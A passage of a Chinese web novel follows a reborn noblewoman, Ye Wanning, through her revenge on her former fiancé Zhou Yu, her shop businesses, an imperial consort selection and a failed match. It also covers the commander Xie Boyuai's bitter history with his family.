“既然哥哥们醉了,我让其他人送谢大人出去。”叶婉宁不想和谢泊淮过多停留,他们是两个世界的人,以前没有交集,以后也不会有。 黑暗中,谢泊淮的眼中闪过一抹失望,“你往后有什么打算?” “家中有祖母和兄嫂,他们会替我拿主意。”从前叶婉宁没发现谢泊淮那么多问题,这会心里突突的,谢泊淮是怎么回事,一而再地问了这些。 四周静了下来。 叶婉宁看着谢泊淮的鞋面,没敢去看谢泊淮的神情,不知过了多久,才看到谢泊淮转身,这才悄悄松了一口气。 “姑娘,谢指挥使也太吓人了。”云芝长吸一口气,“要是奴婢自个遇到他,都得腿软。” 叶婉宁认同道,“他身居高位,太多人想讨好他,不端着点,不好做事。他是吓人点,不过对叶家没有敌意,像祖母说的,不得罪,也不讨好。” 云芝点点头,和主子一块回去,“今日退了周家的婚事,咱们算了却一件心事。姑娘才貌双全,肯定能寻个更好的人家。” 叶婉宁笑笑没说话,嫁不嫁人,对她而言并不重要了。有个能相敬如宾的夫君便好,情爱这种事,她已经没了期待。 虽说退了婚,但周钰这人虚伪记仇,只要他还活着,叶婉宁就不能安心过日子。 今天只是开始,她要让周钰也尝尝家破人亡的滋味。 回到屋子里后,叶婉宁拿出二十两银票,“周钰正是最缺钱的时候,周夫人是个没有见识的,让福生去找个放印子钱的,趁着周钰不在的时候,接近下周夫人。” 有周钰在,很多事都成不了。但周夫人是个蠢笨的,从她下手最好。 云芝恨不得周家更惨一点,伺候主子睡下,拿着银票去了。 此时的周钰,正坐在床前,看着脸色惨白的母亲,一直叹气。 周母睡了醒,醒了睡,脑子里都是谢泊淮要杀她的画面,吓得尿了裤子。 许竹苓端着水进来,“表哥先去歇息吧,你身上还有伤,姑母这里有我就行。” “钰儿,你一定要替母亲报仇!”周母突然抓住周钰的衣袖,“他们叶家欺人太甚,绝对不能让叶婉宁好过!” “母亲,您消停点吧。如果不是您非要去叶家闹,叶家怎么会退婚?”周钰一肚子怨气,“您看看我们现在,家没有家,名声没有名声,真要把我逼死,您才开心吗?” “你……你在怨我?”周母不敢置信地瞪大眼睛。 周钰没说话,默认了。 怎么能不怨? 他都计划好了。 等叶婉宁嫁过来后,哄骗叶婉宁交出嫁妆,再认枫哥儿为养子。 给叶家陪了几年的笑脸,好不容易熬出头,结果老母亲是个拎不清的。 “呼。”周钰深吸一口气,他不能就这样认命,看都没看许竹苓一眼,转身出了屋子。 望着周钰的背影,许竹苓拧着帕子蹲下,小声自责,“表哥肯定也怨我了,姑母,您说表哥会不会不要我了?” “他敢?”周母拉着许竹苓的手保证,“只要有我在一天,你就是我周家的人。没了叶婉宁正好,回头安顿下来,我便做主让你嫁给钰儿。我是他母亲,他不能不听我的。” 听到能和周钰成婚,许竹苓心中欢喜,至于现在的困境,她相信周钰可以解决。 许竹苓贴心地替周母擦脸,周母享受着许竹苓的伺候,看许竹苓越发顺眼,转而想到叶婉宁,恨得牙痒痒,“叶婉宁那个毒妇,咱们走着瞧,总有一天我要让她身败名裂!” 闹腾了一天,周母累了,睡梦中都在和叶家骂架。 不过没等她看到叶婉宁倒霉,叶婉宁又挣了一笔钱。 退婚后,叶婉宁低调没出门,但暗中让人买了不少粮食。半个月后,粮食翻了两倍。 到了五月中旬,粮食翻到三倍,留下自己吃的粮食,剩下的全卖了,叶婉宁自己挣了一千两私房,叶家的账面上也多了三千两余钱。 第17章 花痴 卖粮挣了钱,林氏想趁热打铁继续买进粮食,但被叶婉宁阻止了。 叶婉宁深知大嫂不适合做生意,劝着大嫂把之前卖出去的水田和铺面收回来,有了租金,家中日子比不上爹娘在的时候,但也不会紧巴巴的了。 林氏冷静下来后,按照叶婉宁说的做了,最后手中还剩下八百两银子,家中毎日的吃食,都能加一个荤菜。 叶婉宁则是拿着私房置办了两间铺子,卖胭脂水粉和衣裳。 上辈子嫁给周钰的日子太拮据,什么东西涨价,什么东西流行,叶婉宁都一直关注着。 现在有了机会,她得让钱生钱,手里有了钱,不管往后怎么样,都是一个保障。 过去一个月,她一直关注着周钰的情况,不得不说,周钰确实能忍。尽管传他吃软饭、养外室的流言满天飞,他还是笑脸相迎,别人骂到他跟前,他也不争执。除了回家和去翰林院,周钰只去右相的府上。 没了宅院,周钰租了一间小屋,以前的仆人都被遣散,只留下风染一个当跑腿,浆洗做饭都是许竹苓在做。 福生每天盯着周家的情况,前天还来回了话,“周夫人一心想让周翰林娶许姑娘,甚至搬出了孝道,但周翰林就是不点头。为了这事,周母日日都在骂人,邻居们听得都不爱听了。许姑娘是个能忍的,都这样了,还任劳任怨地干活。还有,放印子钱的人已经搭上周夫人了,前前后后,一共借了三十两银子,利滚利到了四十周钰两。” “再等一等,等她借的数额是周钰还不了的,再让人去要钱。”叶婉宁有的是耐心。 当时云芝不太理解,周夫人怎么要那么多钱,叶婉宁却是清楚,但不好和云芝解释。 周钰手中没有钱,许竹苓的私房不可能拿出来家用,周钰得像周母要钱。周母骂归骂,心里还是疼儿子,但她私房有限,周钰又还得在右相府里应酬,花的钱并没有少太多,周母只能想法子弄钱。 而且周母对周钰很有自信,不管现在多穷困潦倒,她也坚信周钰会有位极人臣的时候。 不过是借点印子钱,一次五两十两,周母想着肯定能还得起。 在周钰前程上,周母都是无条件支持的,只在周钰的婚事上,她看不清楚利害关系,但这和她的见识有关。 叶婉宁心情不错,正好胭脂铺子开张,她带着云芝去看看。 她懂京城里现在流行什么,铺子刚开张,做了买簪子送胭脂的活动,马车刚停下,便看到铺子里面都是人。 “还是姑娘厉害,能想到那么好的法子。”云芝夸道。 主仆俩下了马车,叶婉宁带着纱帽,本意是低调去二楼,不曾想被人认出云芝。 “哟,这不是叶家大姑娘身边的云芝么,你们还有心思来逛胭脂铺子啊?” 说话的叫王琳,她与叶婉宁倒是没过节,但和叶明岳有过一段往事。 三个月前,叶明德带着叶明岳去和王琳相看,叶明岳虽然无心王琳,但有大哥在,老老实实地配合了。 两家相看,讲的是你情我愿,不愿意就算了。但不知是谁,把两人相看过的事传了出去,王琳母女便私下一直在传叶明岳哪哪不好,想把婚事没成的缘由都推到叶明岳身上 叶明岳自个儿是不在意,叶明德气得两晚不会睡,看大哥焦虑到有了黑眼圈,叶明岳又不好和女人计较,带着金自观几个,天天去围堵王家兄弟。 他说自个的名声也就那样,既然王家让他家人不痛快,那他就让王家人过得提心吊胆。 连着打了王家兄弟几次,王老爷受不了,带着王夫人亲自上门道歉,这件事才算结束。 上个月,叶婉宁和周钰退婚的事,传得沸沸扬扬。 现在看到主人公来了,纷纷看了过来,叶婉宁侧身想走,却被王琳拦住。 “叶姐姐,你急着走什么?我话还没说完呢,其实我挺替你可惜的,周翰林是风流了一点,但男人不都是三妻四妾,你忍一忍嫁过去就算了,把事情闹那么大,你自个儿名声也不好听了,至于吗?”王琳脸上都是奚落,她可是定了亲事,对方比叶明岳强一万倍。 叶婉宁本不想和王琳计较,但王琳非要招惹,她可不是以前的大度好脾气。 摘下纱帽,叶婉宁直直地看着王琳,“大家都是女子,你拦着我嘲讽,有什么意思呢?王琳,是周钰做错了事,于我名声有什么关系?不如你展开说说,我名声如何了?在场的女子为多,大家都知道,女子嫁人有多重要,难道你们愿意嫁给一个婚前就养外室的人吗?” 三妻四妾是寻常,但纳妾都得经过主母同意,这才是规矩。 “你……你凶什么?”王琳说不过叶婉宁,气势上弱了下来。 “我可没凶你,我现在语气还算好的了。”叶婉宁哼了一声,“倒是你们王家做事难看,相看不成就泼污水,听说你与赵家定了婚事,不知道赵家知不知道你与我家相看过呢?” “我……叶婉宁,你别乱说话!”王琳急了,听有人开口询问真假,招架不住,带着丫鬟跑了。 叶婉宁没回答别人的话,带着云芝上了二楼,如果她没记错,赵公子确实不好女色,但好龙阳,他与王琳成亲没多久,两人便因为这事打了起来。 王琳会有她自己的报应,都不用叶婉宁出手。 坐下后,掌柜的拿来账册,叶婉宁仔细看着。 等她快结束时,街道上突然传来一阵喧闹,往窗外随意瞥了一眼,瞧见谢泊淮正被一辆马车拦下。 云芝一眼认出马车的主人,“姑娘,是昭云郡主的马车,她拦谢大人做什么?” 叶婉宁是知道缘由的,谢泊淮凶名在外,但他长得极好,毫不夸张地说,谢泊淮的样貌可以在京城排第一。而昭云郡主是位花痴,初次见到谢泊淮,便开始死缠烂打。今日会当街拦人,估计是昭云郡主被惹急了,才会不管不顾。 她们与昭云郡主的马车隔了一些距离,听不到马车里的人说的话,看谢泊淮开口说了几句便走,昭云郡主突然窜出马车,气鼓鼓地张开手拦人。 “谢泊淮,我说让你上马车,你听到没有?”昭云的父亲颇受皇上宠爱,她又是家中唯一的嫡女,自小养成娇纵的性子,还没有她得不到的东西。 “郡主,下官还有公务要忙。”谢泊淮不耐烦道。 “我管你什么公务不公务,我要你陪我去踏青,你就得陪我去。镇府司的事让别人去做就好,你不好说,我回头和皇爷爷说,让他把你调去清闲的地方。”昭云郡主对谢泊淮势在必得。 谢泊淮能有今日,都是他用血汗拼杀出来的,若不是昭云郡主不能杀,他这会已经动手了。 看昭云郡主抬眉挑衅,谢泊淮勒紧缰绳,让马儿后退一些时,看到了站在窗后看热闹的叶婉宁。 她在看戏? 谢泊淮沉下脸来,马鞭突然用力,马儿飞奔冲向昭云郡主,快撞到昭云郡主时,马腿腾空而起,谢泊淮骑马从昭云郡主的头顶飞过,经过叶婉宁窗下时,抬眼望了过去。 四目相对,叶婉宁心头一颤,不知为何,他觉得谢泊淮很生气的样子? 第18章 选妃 “谢泊淮!” 昭云郡主吓得坐下地上,毫无仪态可言。 可谢泊淮已经跑出老远,看不到人影,丫鬟们见围观的人多了起来,着急地劝说昭云郡主上马车。 街上乱哄哄的,叶婉宁关了窗。 云芝换上热茶,惊叹道,“姑娘,没想到还有人喜欢谢指挥使。”她心想昭云郡主是没见过谢指挥使杀人,不然肯定跑路了。 “谢大人模样好,有人心仪也正常。”叶婉宁给了个自认为中肯的评价,离开的时候,走了后门,免得再遇到什么人。 她算过了,收益好的话,胭脂铺子一个月有五十两的利润,加上成衣铺子的,一个月净挣一百多两银子。这还是开始,口碑做好了,能接的单子会更多。 过了太久没钱的日子,现在手头松快一些,叶婉宁绕路去了酒楼,二妹妹是个喜欢吃的,萱姐儿馋桂花酥饼许久,今儿正好有空,她都买回去。 在酒楼雅间等候时,叶婉宁要了几盘点心,刚和云芝吃两口,谢泊淮突然推门进来。 “咳咳!” 叶婉宁呛住,喝了一大口茶,才缓过气来。 “谢大人怎么来了?”叶婉宁起身问。 “按例查探。”谢泊淮高大的身子挡在门口,薄唇抿了抿,问,“方才好看吗?” “什么?”叶婉宁没反应过来。 谢泊淮走进雅间,青山这次识趣地没跟进来,还替主子关了门。 面对谢泊淮,叶婉宁惧意更多,她没想攀附权贵。 谢泊淮忽然勾起薄唇,“谢大人模样好,有人心仪也正常。叶大姑娘,原来在你眼里,谢某模样算好?” 叶婉宁瞪大眼睛,她和云芝的话,谢泊淮怎么会听到? 这人有顺风耳吗? 心跳“砰砰”加快,叶婉宁不懂谢泊淮心情如何,看着不太欢喜,难道是想迁怒于她? “昭云郡主出身高贵,能得她青睐,其实……是好事。”叶婉宁越说,声音越小。 前世她没和谢泊淮接触多少,不知道谢泊淮是个难缠的人,话刚说出口,听谢泊淮突然冷哼一声,暗道完了,这人是真不高兴了。 “好事?”谢泊淮反问,“你二哥还没定亲,他也生得俊俏,昭云应该会喜欢。如果你愿意让昭云郡主当嫂嫂,我乐意牵线搭桥!” “叶家门第太低了,王爷不会同意郡主下嫁的。多谢大人好意,既然大人在忙公务,我就不耽搁您了。”叶婉宁摆出送客的姿态,她不敢多说了,生怕谢泊淮真给昭云介绍二哥。 虽说昭云郡主不可能嫁给二哥,但被昭云郡主纠缠,也是一件麻烦事,说不定还会得罪王爷。 这时,青山推开一条门缝,说找到细作了。 谢泊淮嗯了一声,再去看叶婉宁,“皇上有意给皇孙们选妃,你们叶家三位姑娘都在名单中。叶大姑娘才貌双全,等闲盖不住你的光芒。若是不想嫁入皇家,我劝你早做打算。” 听谢泊淮一口气说完,叶婉宁才想起选妃这回事。 前世她已经嫁给周钰,选妃和她没有关系,两位妹妹去参选,三妹妹胆子太小,模样虽好,但嬷嬷凶一点便流眼泪,初选给筛了下来。 二妹妹则是一路到了殿选,成姨娘天天在家求神拜佛,希望二妹妹能嫁入皇家。可成姨娘看不清,以叶家的门第,不管是皇太孙,还是其他皇孙,二妹妹都不可能成为正室。好在二妹妹自己没有攀龙附凤的心思,故意把自己画黑了一点,成功落选。 叶婉宁不清楚妹妹们选妃的细节,但结果都不错,是妹妹们想要的。 但她忘记了,眼下她没有婚事,也在待选名单。 等等,谢泊淮与她说这个干嘛? 再去找人时,谢泊淮已经走了。 剩下惊愣住的云芝,“姑娘,你……你也要参加选妃啊?” “先回家。”带上打包的吃食,叶婉宁急匆匆回家去。 她把人都叫到祖母院子里,丫鬟婆子都没留,才说了选妃的事。 叶老夫人听得直皱眉,望着三位如花似玉的孙女,她不知该做什么想法。 如果孙女能被皇家看中,说不定能让叶家再次兴盛,可普通皇孙的侧妃又有什么用? 至于皇太孙,谁能保证一定能得他的喜欢? 林氏作为大嫂,想先听妹妹们的想法。 叶婉华第一个摇头,“大嫂嫂知道的,我胆小,没什么本事,不适合嫁到皇家。” 叶婉玉的关注点却歪了,“大姐姐,你与谢指挥使何时那么要好,他竟然告知你这个事?” 选妃的事还没定下,很多人还不知道,谢泊淮是皇上跟前的人,但他却愿意冒风险告诉叶婉宁。 叶婉宁被问住了,但很快反应过来,“我只是碰巧遇到他,最近他与二哥哥关系好,想来是看在二哥哥面子上,才让我们家提前准备。我是不愿意进宫去的,婉玉你呢?” 重活一次,她比谁都看得清。 什么高门诰命,那都是虚的。 自个过得快活自在,才最重要。 叶婉玉还没答话,成姨娘笑着抢话,“二姑娘才情模样都好,我正愁她的婚事呢,有这么好的机会,当然要试试。”要是女儿嫁到皇家,她在府里就更有地位了,儿子以后说不定能有更好的前程。 选妃还没开始,成姨娘先做起美梦,结果叶婉玉给她当头一棒,“我也不进宫,给人当小,不如嫁给门第相当的人当正室。看主母脸色过日子,岂是容易的?” 原先夫人在的时候,算是个好脾气的,妾室不用日日请安伺候。可当人妾室,除了伺候夫君,还是要小心翼翼讨好主母。成姨娘以前的日子,叶婉玉都看在眼里,她才不想做妾。 岂料这话说到成姨娘痛处,眼泪瞬间滚落,“二姑娘这是在嫌弃我了?” “我……我没有。”叶婉玉抿了抿唇,却不知道怎么安慰人。 叶婉宁拉着成姨娘坐下,“二妹妹不是这个意思,姨娘别多心。咱们家门第不高,就算嫁到皇家,就算夫君宠爱,可皇家里的门道,又岂是我们能应付的?争宠,生孩子,比家世……一群都有娘家支持的女人凑在一起,日子哪能清静?” 成姨娘还是想女儿嫁高门,“可被皇太孙看中,往后前程不可限量啊。” “姨娘就能保证,是被皇太孙看上吗?”叶婉宁反问。 成姨娘说不出话来了,但回去后,还是去了叶婉玉屋里,结果母女俩吵了起来,最后不欢而散。 叶婉宁听说后,无奈叹气,家中没有爹娘,祖母病弱,从二哥哥往下的婚事都没个头绪,不怪成姨娘会动心。 不过选妃这个事,确实让她头疼。 谢泊淮说的早做打算,总不能在这一两天里,她急忙忙地给自己定一门亲事吧? 第19章 相看 叶婉宁接触的外男很少,打小就定了亲,不需要去了解谁家有适龄公子。 不是她高看自己,是怕个万一。 前世辛劳一生,最后落个惨死的下场,重活一次,除了报仇,叶婉宁只想过轻松自在的日子。 夜里躺下后,她辗转反侧。 除了烦恼选妃,还不解一件事,谢泊淮怎么听到她和云芝的话? 这人难不成会飞吗? 想不明白,叶婉宁后半夜才睡着,次日天刚蒙蒙亮,便起来趴在栏杆上,望着庭院发呆。 天渐渐热了,叶婉宁简单用过午膳,二哥哥来了。 “妹妹是不是在烦选妃的事?”叶明岳坐下道,“若妹妹真不愿意,从我那些兄弟里挑一个,先把亲事定了,你就少一门烦心事了。” 他刚说完,被进来的大哥劈头盖脸骂道,“亏你还是当哥哥的,就你那群纨绔,别说婉宁看不上,祖母那关都过不了。” “你别小瞧人,我们只是不爱读书,其余的,比周钰不知强多少倍!”叶明岳不服气,他的好哥们,都和他相处颇久,他信得过他们。 叶明德却是不肯,大妹妹是家中最出色的姑娘,不管怎么说,都得给她挑个好婆家。 叶婉宁淡淡笑着,“两位哥哥怎么过来了?” 叶明岳抢话道,“从你退婚后,陆陆续续有人和我们打听你的婚事,之前想着不着急。如今皇孙们要选妃,我和你大哥聊了聊,大哥说他有个同僚还不错,想来与你说说。” “何家也是京城的大户人家,何舟济是家中小儿子,已经有了能干的大嫂,到了何舟济这里,只需要一个家世人品都不错的姑娘。前段日子,他父亲有问过我一两句。若是你愿意,我便安排你们见见。”叶明德也是着急,不然这事该让林氏过来说,“何家家风清正,何舟济人品样貌也不错,和咱们家也不会差太多。” 看着大哥哥期待的目光,叶婉宁自个儿想不到出路,听二哥哥说见见又不吃亏,便答应了下来。 过了两日,叶婉宁跟着大嫂去庙里上香,便“巧遇”了何夫人。 何夫人有些富态,和林氏打过招呼后,不着痕迹地打量了叶婉宁,“大姑娘真是人如其名,端庄秀美,今日遇到便是缘分,不如一块走走?” 大家心知肚明,林氏笑着应了下来,一行人没过多久,遇到等候的何舟济。 何舟济纤瘦肤白,往叶婉宁这看了眼,脸刷地红了,局促得不敢再动。 看儿子这副模样,何夫人有些皱眉,但面上没显露出来,“我这儿子脸皮薄,平日里也没什么好友,回家便是读书,交际简单得很。” 她这话是让林氏和叶婉宁放心,何舟济为人简单,没有花花心思。 林氏看何舟济斯斯文文,心里是满意的,不动声色地去看大妹妹,见大妹妹没什么表情,她猜不出大妹妹的想法。 叶婉宁上辈子没接触过何舟济,对何家也没有太多了解,但现在看到真人,她是没有想法的。何舟济太过于腼腆,一直是何夫人在说话,光是这会儿的相处,便能看出何夫人是个强势的,才会把儿子养得唯唯诺诺。 两家人同行了一段路,到禅院附近再分开,林氏迫不及待地想问叶婉宁的想法,叶婉宁提醒四周随时有人经过,林氏才忍下好奇,先去上香。 林氏嫁到叶家四年有余,膝下只有一个女儿,今日来了庙里,顺便拜拜送子观音。 叶婉宁上过香后,在园子里等林氏。 日光大好,透过层层树叶洒落下来,叶婉宁摇着团扇看云芝扑蝴蝶。 “姑娘,这里有只红色的,哎呀,它飞走了,您看到了吗?”云芝刚转身,笑容戛然而止,对着来人行礼,“谢大人安好。” 叶婉宁也看了过去,见谢泊淮穿着常服,头戴玉冠,少了平日里的戾气,竟然有些书生的温润感。 “叶大姑娘,我知道我好看。”谢泊淮单手负背。 叶婉宁尴尬地收回目光,“谢大人安好,您也是来上香的?” “我来给我姨娘添长明灯。”谢泊淮言简意赅,低头看了叶婉宁一眼,突然转移了话题,“何家并不是个好归宿,叶大姑娘怎么还学不会看人。” 何家? 叶婉宁马上反应过来,方才与何家碰面,被谢泊淮看到了。 只是近来碰到谢泊淮的次数太多了吧? 谢泊淮什么意思?要再次奚落她有眼无珠吗? “何舟济看着斯文,实际爱虐待房里的丫鬟。”谢泊淮说话时,一直看着叶婉宁。 “谢大人怎么知道?” “有什么是镇府司不知道的呢?” 是啊,镇府司是皇上的眼睛和耳朵,京城里大大小小的事,都瞒不过镇府司。 所以朝中大臣们,才会对谢泊淮敢怒不敢言,谁都怕谢泊淮说出他们的把柄,毕竟没几个人可以做到清清白白。 四周静了下来,按理来说,叶婉宁应该谢谢谢泊淮的提醒,可谢泊淮语气冷冷的,总让她有种说不上来的奇怪感。 不知道说什么好,好在林氏来了,叶婉宁才得以喘息。 回去的路上,林氏问起叶婉宁对何舟济的看法,叶婉宁说了谢泊淮的话,“知人知面不知心,何公子只是看着好。” 她信谢泊淮说的,因为谢泊淮没必要骗她。 林氏叹气道,“真是可惜了。”所有提亲的人里,何家是条件最好的,剩下的,不是找续弦,就是人品样貌差,或者还没有功名。 “没什么可惜的,大嫂不用替我担心,日子还长着呢。”叶婉宁宽慰道。 “罢了,我再替你找找。”说着,林氏又好奇谢泊淮怎么会说起何家的事。 “可能是看在二哥哥的面子上吧,我听二哥哥说,他们时常会一起喝酒。”叶婉宁道。 “二弟广交朋友,谢大人此番也算帮了我们,我们得记着这份人情。”林氏虽然怕谢泊淮,但几次接触下来,又感觉谢泊淮不如传言的那么可怕。 姑嫂俩回去后,众人听说何家不成,都有些失望。不过次日,就有何家丫鬟撞死在府衙门口,身上还带了血书,写了如何被何舟济虐待。 一时之间,何家成了京城茶余饭后的谈资,原本帮何舟济相看的媒婆,纷纷上门推了活计。谁都不想在这时候,沾惹到何舟济,坏了自己的招牌。 消息传到叶家,叶明德一阵自责,怪自己识人不清,差点又害了大妹妹。 叶婉宁却觉得奇怪,不知是不是巧合,她想到谢泊淮和她说何舟济不行的样子。 第20章 人上人 京城里永远不缺新鲜话题,连着几日,大家聊着何家的事,渐渐淡忘了周钰。 近来他过于低调,让许多人忘记了他。 只有叶婉宁,一直派人盯着他。 “大姑娘,周翰林知道周夫人借印子钱的事了。”福生来回话,心里很愧疚,主子交代的事,他没有办好。 “纸包不住火,知道是迟早的事,既然如此,早点让人去要钱。”叶婉宁小口喝茶,面上是淡淡的笑,“大家都快忘了周钰做过的事,告诉他们,事情闹得越大越好,最好是满城皆知,我另有奖励。” 福生说知道了,“最近小的还发现一个事,周翰林和户部的钱大人走得比较近。” “钱大人?”叶婉宁想了想这个人,很是油滑的一个人,手中有实权,还有钱,周钰是想去做钱家的女婿吗? 她记得,钱家适龄的有两位姑娘,但钱大人看不上周钰吧? 心思这么一过,叶婉宁让福生继续盯着周钰。 福生前脚刚走,宫里来了旨意,叶家三位姑娘都在待选名单里,在此期间,不能谈婚论嫁,不然是抗旨不尊。 叶家人提前有心理准备,都没太惊讶,倒是二房夫妇,激动地提着礼物上门。 叶老爷子弥留之际,给两个儿子分家,叶婉宁爹娘在的时候,二房还时常过来。后来大房没了主心骨,二房夫妇除了初一十五给老夫人请安,其他日子都见不到人。 叶显荣刚进门,便恭喜叶明德,“明德你好福气,三位侄女都是花容月貌,总有一位能中选。可惜二叔没女儿,往后只能沾你们的福气了!” 李氏笑着附和,“是我不争气了,还是大房运气好,遇到好机会。诶,婉宁她们呢,怎么不出来见见,我给她们带了绸缎首饰,都要去选妃了,我做婶婶的没太大本事,一点点小心意。” 看着热情百倍的叔叔婶婶,叶明德微微皱眉,还是叶明岳笑呵呵接话,“妹妹们不知道叔叔婶婶过来,我派人去喊了,多谢叔叔婶婶好意,我们就不客气了。” 叶明德给弟弟使眼色,他们家没打算让妹妹们中选,不适合收礼物。叶明岳却当没看到,有便宜不占王八蛋,过去二叔没少来大房拿好处,怕大哥拒绝二叔,赶忙让下人替妹妹们收起来。 等叶婉宁三姐妹过来,叶明岳立马道,“快谢谢二叔二婶,惦记着你们衣裳首饰不够,特意送来新的。”说着,给几位妹妹眨了眨眼睛。 叶婉宁会意,和二叔二婶道谢。 “不用那么客气,我们叶家的前程,以后全靠你们三位姑娘了。”李氏笑容满面,不是她高兴太早,实在是大房这三位姑娘颜色极好,特别是叶婉宁,京城里再没有比叶婉宁容貌更出色的姑娘。 要说选正妃,得看家世、品行等,侧妃就不一样了,男人嘛,谁不爱年轻漂亮的? 故而,李氏一听说旨意,马不停蹄地带着夫君过来,以前是怕大房占便宜,往后还得仰仗大房。 送走二房夫妇,叶明岳第一个撇嘴,“二叔二婶真是势利眼,从前街上遇到我,都要躲开,生怕我拉着他借钱。方才那个热情,好像妹妹们要去做太孙妃一样,目光短浅,难怪二叔一辈子升不了官。” “明岳!”叶明德提醒,“到底是我们二叔,不可以背后编排他。” 再去看几位妹妹,叶明德语重心长道,“初选在下个月,你们做好心理准备。我找了父亲生前的同僚,看看能不能走走关系,让你们尽早落选。” 为了这事,叶明德愁得黑眼圈更重了。 长兄如父,没了爹娘,弟弟妹妹们的事,都得他来操心。 叶婉宁不想大哥太焦虑,过去安抚,“大哥别想太多,有我在,我会看好妹妹们。” “哎。”看着大妹妹,叶明德忍不住叹气,就是大妹妹光芒太甚,他才最忧心。但这话又不能说,只能走一步看一步。 皇上年事已高,身体却强健,除了已逝的废太子,还有七位皇子在世。七皇子今年二十,和皇太孙一样的年纪,但他婚事已定,定的是谢泊淮大哥家的嫡长女,皇上对他很是宠爱,早早给他定下婚事,还是世家之首的谢家。 这次选妃,主要是给四位皇孙挑选,大家都清楚,王妃们对正妃早有人选,挑选的不过是侧妃和贵妾。 叶家人也明白这一点,他们家没有攀龙附凤的心,费心捧在手里长大的姑娘,不想她们给人做小。 叶明德官不大,但他从小跟着父亲祖父出门,很多事没经历,却听过很多。即使运气好进了皇太孙府里,最后上位的也不一定是皇太孙。 这种话太大逆不道,就算是林氏,叶明德也不会说。 几位王爷都不是省油的灯,今年南边水患,太子的人就被惠王抓住不放。 朝堂上看着无波无澜,实际暗里都在较劲。只是这些事和弟弟妹妹们说了也是徒劳,倒不如他一个人撑着。 叶家这里还算平静,其他人家却不一样。 此时的谢泊淮,歪坐着看其他两房的人吵架。 谢老爷子无意参与夺嫡,但皇上给大房嫡女和七皇子赐婚,谢家无法拒绝。好在七皇子与其他王爷相差太多,夺嫡可能不大。 看着大房有了依靠,二房动了心思,悄悄和惠王联系上,想把女儿嫁给惠王的儿子。 惠王便是昭云郡主的父亲,他和谢老爷子提过好几次,想结儿女亲家,奈何谢老爷子做不了谢泊淮的主。惠王见谢泊淮这条路走不通,正好谢家二房示好,就动了心思。 都是姓谢的,老爷子还没死,大房二房就想各站一派。 大房指责二房心术不正,二房说不公平,又不是他们主动的,是惠王有这个意思,总不能得罪了惠王。 两边人越吵越凶,谢老爷听得头疼,摔了茶盏,“够了!一个个都没藏好心思,别以为你们想的我不知道,我还没死呢,你们就想当家做主吗?” 谢家人忙说不敢,只有谢泊淮一脸无所谓,起身幽幽道,“既然没我的事,我先走了。” “你等等!”谢老爷子深吸一口气,大房二房的心思他清楚,一时半会解决不了,让他们回去思过,只留下谢泊淮。 门被关上,谢泊淮站在门后。 “你也看到了,你两位哥哥目光短浅,往后谢家还得看你。”谢老爷子对谢泊淮的容忍度,是因为他对谢泊淮寄予厚望。 “不敢,我只是一个庶子。”谢泊淮半眯起眼睛。 庶子这种话,谢泊淮从小听到大。 他姨娘是逃荒的平头百姓,被老头子看中美貌,强行娶了回去。谢夫人善妒跋扈,不是个能容人的,他和姨娘日日都被苛待。 五岁时,因为太饿,谢泊淮去厨房偷了两块馒头,他和姨娘被谢夫人吊起来打。 他亲眼看着姨娘被打死,老头子只是微微皱眉,一句责怪谢夫人的话都没有。 从那一天起,谢泊淮很清楚,他要做人上人,不择手段也好,受人唾骂也罢,他要谢家所有人看到他,第一个反应都是怕他。 第21章 疯子 “谢泊淮,你在和我犟什么?” 一声怒吼,让门外的侍从都忍不住颤了颤,惊起桂花树上的雀儿,叽叽喳喳飞到瓦顶。 谢泊淮气势更强,“你说我在犟什么?” “如果你不是出身谢家,你以为你能干到镇府司指挥使的位置?皇上会对你另眼相待?没有谢家,你屁都不是!”谢老爷发了火,寄予厚望的两个嫡子却很平庸,庶子出色,但不肯听他安排。他不觉得对不起谢泊淮母子,如果不是他,谢泊淮的姨娘指不定被乱民强暴,更别说后来的安生日子。 “谢家?” 谢泊淮冷哼,“十二月的天,大房二房抱着暖炉读书,我只能捂着芦苇做的破被子。谢夫人不准我说是谢家孩子,去了书院,大房二房带头欺负我,那些人把我当马骑,我就咬下他们的肉,被人说像疯子一样,这确实是谢家的功劳。” “后来我科举一路到会试,又是谢夫人给我下药,让我殿前出丑,废了名次。是我自己救驾有功,皇上才对我另眼相待。” “没有谢家,我的日子不知会好多少!” 先生说谢泊淮读书极好,肯定能中一甲。 谢夫人嫉妒谢泊淮的才能,毕竟她的两个儿子,都读书平平,不想被一个庶子抢去儿子们的光芒,收买了谢泊淮身边的人,给谢泊淮下了泻药,断绝谢泊淮科举这条路。 但谁也想不到,谢泊淮为了出人头地,暗中谋划许久,最后在围场救下皇上,从而进入镇府司。 刚进入镇府司时,谁都不知道他是谢家三郎,但镇府司靠本事吃饭,只要他的拳头够硬,本事够强,他就能越爬越高。 等他成为指挥使的第一件事,就是回家拿了泻药,掐住谢夫人的下巴,直接灌了下去。 谢夫人骂他大逆不道,要去府衙告他忤逆,但那个时候的谢泊淮,已经掌握了大房二房的把柄。 他直言,“我孤零零的一个人,不介意陪你两个儿子一起去死。从今日起,我要你看到我,就想到今天的窘迫。你若坏我一根头发,动我身边一人,我就让谢泊远两个断手断脚,再来取你狗命!” “疯子,你就是疯子!”谢夫人被谢泊淮拦着,当众出恭,她要谢夫人把谢泊淮赶出家门,谢老爷却知道不能了。 从那以后,谢夫人闭门不出,只在院子里烧香拜佛,祈祷谢泊淮早点去死。 早年间,谢夫人把后院看得死死的,以至于谢老爷没有一个庶子庶女。谢泊淮是个意外,等他出生后,谢老爷才带着他们母子回家。 在谢老爷意识到嫡子无能,庶子不听话时,已经无能为力,对着妻妾使不上劲,只能把希望寄托在谢泊淮身上。 “谢泊淮,你给我滚出去,老子不想看到你!”谢老爷脸气得通红。 谢泊淮没带半分犹豫,摔门走了。 主子心情不好,青山大气不敢喘,回到院子后,听主子让人把门堵上,才小声问了句,“那我们以后从哪出去啊?” “围墙上凿个门,以后从新的门进出。告诉院子里的人,不许外边人进咱们院子一步,谁不听,直接杀了。”谢泊淮放下话,翻墙出了院子,连青山都不让跟。 青山脑子还没转过来,书砚已经带着人干起活来,等青山意识到该去找主子,书砚拉着他提醒,“你往叶家附近去找。” “为何?” “听我的就是,你这脑袋,我给你说一天,你也弄不懂。”书砚拍了下青山的头,带着人继续砌砖堵门。 他们院子在边边上,围墙后边是窄巷,自个开个门,说明白点,和自立门户没啥区别。 事情传到谢老爷那,他头更疼了,早知如此,就不该让谢泊淮进镇府司,比起现在闹得不可开交,还不如一直压着谢泊淮。 谢老爷含着参片,惠王派人上门,邀他上门做客。 